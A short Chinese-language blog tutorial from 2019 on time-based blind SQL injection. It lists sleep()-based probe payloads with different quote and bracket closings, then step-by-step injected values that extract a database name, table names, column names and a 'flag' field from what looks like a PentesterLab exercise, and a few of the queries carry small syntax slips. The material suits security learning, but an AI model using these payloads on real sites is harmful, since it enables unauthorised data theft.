SQL时间型注入

SQL时间型注入

  判断时间型注入时,只要让sleep()函数执行成功,那么就可以根据回显时间判断是否为时间型注入

  在时间型注入中,常常用到if()函数,if(语句一,语句2,语句3),如果语句一为真,执行语句2,否则执行语句3

  几个常用的判断函数,substring(),length,user(),database(),下面是几个判断时间型注入的常见语句

    ' and if(1=0,1, sleep(10)) --+

    " and if(1=0,1, sleep(10)) --+

    ) and if(1=0,1, sleep(10)) --+

    ') and if(1=0,1, sleep(10)) --+

    ") and if(1=0,1, sleep(10)) --+

 

   type=sleep(3)--+  这里有个参数type,判断出存在时间注入,那么接下来我们就可以和盲注型注入差不多进行注入,在进行字符判断时,可以使用二分法加快速率

  1.  判断数据库长度

    type=if(length(database())=12,sleep(2),100)--+

     2.    判断数据库名字

    type=if(substring(database(),1,1)='p',111,sleep(3))--+

  3.  判断表名

    type=if(substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1='a'),11111,sleep(1))--+

     4.    判断列名

    type=if(substring((select column_name from information_schema.columns where table_name='flag' and table_schema='database()' limit

0,1),1,1='a'),11111,sleep(1))--+

     5.    判断具体字段内容

    type=if(substring((select flag from pentesterlab.flag limit 0,1),1,1='a'),sleep(3),111111) --+ 

posted @ 2019-08-05 20:15  衰小草  阅读(2462)  评论(0编辑  收藏  举报